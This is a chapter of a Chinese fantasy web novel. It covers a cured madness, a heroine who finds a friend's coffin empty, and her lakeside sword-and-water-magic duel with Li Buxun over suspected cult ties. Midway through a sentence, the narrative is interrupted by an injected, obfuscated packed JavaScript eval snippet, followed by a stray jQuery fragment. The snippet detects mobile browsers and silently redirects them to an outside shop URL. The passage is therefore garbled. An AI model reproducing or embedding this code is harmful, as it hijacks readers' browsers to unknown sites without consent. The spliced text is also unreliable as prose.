文趣网 > 其他小说 > 十里长剑拭春风 > 22.洛神湖畔
    李不旬从地窖里出来时,院内仍是漫天飘飞的纸灰。而谢茯苓哭得累了就睡了大半天,便只妇女一人挽着袖,弓着背,始终孤零零地坐在火盆前。

    这会杜玉茹见了少年,赶忙开口问道:“小公子,我妹妹她……现下如何了?”

    “杜玉亭之所以疯呢,是因为她把自己当成乔嫣了。”李不旬悠悠道,“也就是陆县令的未婚妻。”

    杜玉茹闻言,一双眼睛瞪得溜圆,惊道:“怎会如此?”

    李不旬则环了胸,解释道:“在她梦里的乔嫣,去母留子,被陆兴怀抛弃。”

    他顿了顿,目光落在远山,接着道:“而杜玉亭怕是切身体验到了,认知受了影响,自我与梦境争斗,才表现出这般的疯样。”

    “原来如此。”杜玉茹茅塞顿开,“怪不得她一直要找什么孩子……”随即妇女又问,“那……这疯病还能治吗?”

    “能。”李不旬答得爽快,视线收了回来,“我方才呢,已经带着她找回了自我。不过,这突然的转变对来她而言,怕是还需要时间适应。”

    “简而言之,就是还需慢慢调养才能痊愈。”

    “慢点没关系。”杜玉茹将还未烧的纸钱一放,站了起来,颤着声道,“只要能好起来,慢一点没关系。”随即她走到李不旬身边,膝盖一弯就要行礼,“小公子及蓬莲观的恩情草民记下了,草民愿为公子日日烧香拜佛。”

    “愿公子长命百岁,事事顺遂……”

    李不旬倒没接话,只眼神四处张望着。而杜玉茹瞧见了,立马会意,忙道:“公子,是要找那位同行的姑娘吧?江姑娘说她有事要办,让李公子亥时在洛神湖畔等她。”

    少年浓眉一挑,疑惑道:“她要干什么?”

    杜玉茹却摇了摇头:“这……我就不知道了。”

    昆仑山山脚往东五六里处,一条岔路走到尽头,便有片野杏林。而曲夭夭,就将璠娘埋在那。

    她先前打听过了,这儿平日里少有人来,只偶尔有猎户经过。唯风声与鸟鸣相伴,颇为静谧。而其杏树也长得肆意,枝干交错,在春日里便花开如云,落瓣铺得满地粉白。

    璠娘的坟被曲夭夭立在林子深处,靠着溪边,一棵最大的杏花树底下。只见那青石碑上,静悄悄地刻着“璠娘之墓”四个大字。

    少女彼时,正垂着眸,无声站在那棵杏树前。

    枕中烟……是曲夭夭那日在马车上闻到的香,而其作用是让人入梦或致幻。如此说来,极乐教对曲夭夭用了这香,那么或许那天晚上,也只是自己编织出的一场幻梦罢了。

    “对不起……璠娘,我……”曲夭夭在坟前跪坐下来,双手颤抖着扣进土里,又一点一点地扒开。泪水亦渐渐渗出眼眶,模糊了视线:“对不起,我不该这样的,可,可……”

    可如果只是幻觉的话,璠娘她会不会就没死?

    但几率十有八九。

    只因有李不旬这个变数。

    李不旬既并未中香,也不否认那晚帮了曲夭夭——那么那天晚上,曲夭夭便是因枕中烟致了幻。

    而他既并未中香,那晚他便并未见到曲夭夭所见的一切。否则……

    曲夭夭也不知自己究竟挖了多久,直至暮色渐沉,余晖尽敛,那黑漆棺材,也终是完完整整地显现出来。

    少女双手合十,立于额前,略微发哑的声音不断低语着:“对不起,璠娘,对不起……我只是,我只是……”

    清风拂面,带着杏花特有的清雅的甜香,却将她的泪吹得干涸。

    过了好一会儿,曲夭夭才伸出只手,就抵住棺材边缘,指尖也发了白。

    那木板沉重,缓缓滑开时发出沉闷的声响。随即缝隙渐宽,便见棺底铺着的白布,平平整整的,没有起伏。然而四壁空荡,唯有寒意贴着木板往上延,伴着泥土与陈木的潮湿气息。

    这棺材里,并没有人。

    曲夭夭安安静静地,盯着那空处看了很久,久到她眼睛都发酸了,才记得要眨眨。

    那棺材盖子还歪在一边,她却忽而笑了。像是释怀一样,又亦是讥讽什么的,但她总归松下口气,肩膀一下子就垮了下来。

    少女双手颤巍巍地扶上棺沿,又缓缓埋了首,额头也随之轻触冰凉的棺木外壁。至此泪水便再也止不住了,默默地滑过脸颊。一滴一滴地,落在身下的土壤里,洇出更深的痕迹。

    “璠娘……你没死吗?”曲夭夭哑着声。

    “那你又在哪?”

    “怎么,不回来见我呢?”

    *

    月色浮在湖面,碎成一片流动的银。水波偶尔舔舐堤岸,一下一下的,荡出“哗啦啦”的轻响。

    而在杨柳低垂的岸边,还立着位清俊的少年。

    这少年常穿一件青蓝亮色的短打,又松松垮垮地挂在身上。风一吹,便显得飘飘荡荡,却又不至于太过瘦弱。反倒,是一种柔中带刚的坚韧,似如百折不挠的竹石。

    可旋即,劲风从颊边擦过,将他的马尾挑起一绺。李不旬迅速侧身,又左手一握,青光顿时凝成长剑。

    锵——

    他抬手,将那袭来剑风格挡。而这剑尖就悬在眼前不过寸余,寒芒映入瞳中,叫其不禁一缩。

    李不旬倒吸口凉气,待视线聚了焦,又错愕着道:“曲夭夭……你哭了?”

    只见曲夭夭红着眼眶,微微发肿,眸中却满是狠戾,气音亦从唇齿间溢出,隐忍着就道:“李不旬,你和极乐教到底什么关系?”

    “你说什么?不对……你怎么哭了?”李不旬的呼吸乱了半分,却仍是沉声问道,“谁惹你了曲夭夭?”

    而曲夭夭不予回应,只重新挥舞起剑身,直朝李不旬刺去:“你能认出常声是极乐教的傀儡,又能根据傀线定位,这是寻常术士所做不到的。更何况就连我都识破不了极乐教伪装成人的木偶,那便只有一种可能……”

    “李不旬,你本就精通傀儡之术。”

    “又或者说……你本就是邪教中人!”

    李不旬只防不攻,是被曲夭夭压着打。其招式虽行云流水,但也难免落得下风。

    “我怎么可能和那破教同流合污?”他敛眉,翻腕急转剑身,就贴着对面那人的剑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704525|205129||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    锋一绞。彼时二人剑光相碰,清脆的铮鸣声下,竟是划出一道火花来。

    “别急呀李公子,我还没说完呢。”然而曲夭夭直将长剑在身后翻旋,银弧转瞬即逝,她便即刻换了手。那剑刃破空发出尖锐的啸声,就再朝李不旬狠狠劈去。

    李不旬反手一撩,被震得虎口发麻:“曲夭夭,你下死手?”

    “李公子可知,那枕中烟,分明是极乐教的东西!”曲夭夭讥笑了声,一顿,又道,“不对,我都忘了,李公子何止是知道……”

    “李公子对此,可很是熟悉呢。”

    “你不也知道?”李不旬再次挑开那来势汹汹的剑意,又借力退后半步,反问道,“扯平了?”

    “才不是扯平!”曲夭夭攻势再起,凶猛亦如狂风暴雨,几乎招招致命,“李不旬,只见一眼,就认得出枕中烟的,还将它的作用机理,说得如此清晰明了的,我可不像你!”

    李不旬一挥一挡,两柄长剑匡匡锵锵,被她逼得连连后退:“曲夭夭你到底怎么了?”

    曲夭夭却接着冷声道:“对极乐教的术法物件如此了解,你敢说你跟他们没关系吗,李公子?”

    她说着,便旋转剑身,直击前人心口。然而随即青光一闪,李不旬的身形竟倏然消失。伴随着清风“呼”的一声,青蓝色的光点就径直掠过耳畔。是将她的碎发一掀,露出饱满的额部。

    曲夭夭猛然回首,李不旬倒已经落在背后了,其身上的青光渐散。

    而她眉眼一压,随即就开始双手作诀,口中念念有词,道:“北方水令,玄冥之精,激浊扬清,速现真形。”

    “去!”

    话音刚落,湖心先是泛起一圈涟漪。紧接着那水流却开始打旋,竟是越转越急。而中心塌陷,便形成一个幽深的漩涡来。

    可下一瞬,“哗——”的巨响带起一道水柱就从那湖心霍然跃起,白色的泡沫翻涌着,又裹挟着千钧之力,直冲天际。

    “你来真的?曲夭夭,你真要杀我?”李不旬的眉头紧缩着,只因那水柱忽而在半空中一拐,折转了个方向,铺天盖地就朝着岸边他的面门扑来。

    “杀你?”曲夭夭俏眉一挑,冷笑道,“你们极乐教的人都是这么的卑劣,对付我,竟还要用什么迷幻香。”

    “可笑至极。”

    旋即,李不旬只将手中长剑往前一送,剑身顿时泛起青色的光芒,瞬间便往两边扩展开来,形成一道青蓝色的屏障。

    紧接着,那水流便直直冲撞上去,水花散至边缘溅射开来,炸出漫天的白雾。月光之下,银色的碎屑在空中翻飞着,又簌簌落下,恍若一场突如其来的瀑雨。

    隔着朦朦胧胧的水汽,李不旬又一挥手,那柄长剑也随之“嗖——”地窜了出去,在她的眸中陡然放大。

    而剑身划过曲夭夭的肩颈,竟是猛然扎入她身后的地面,稳稳插在那黑衣人的脚边。

    剑柄微颤,嗡鸣低沉。

    “你终于来了。”李不旬缓缓从水雾中走出,双手抱胸,与少女并肩站着,勾唇笑道,“如若再不现身,那我可都快要打累了。”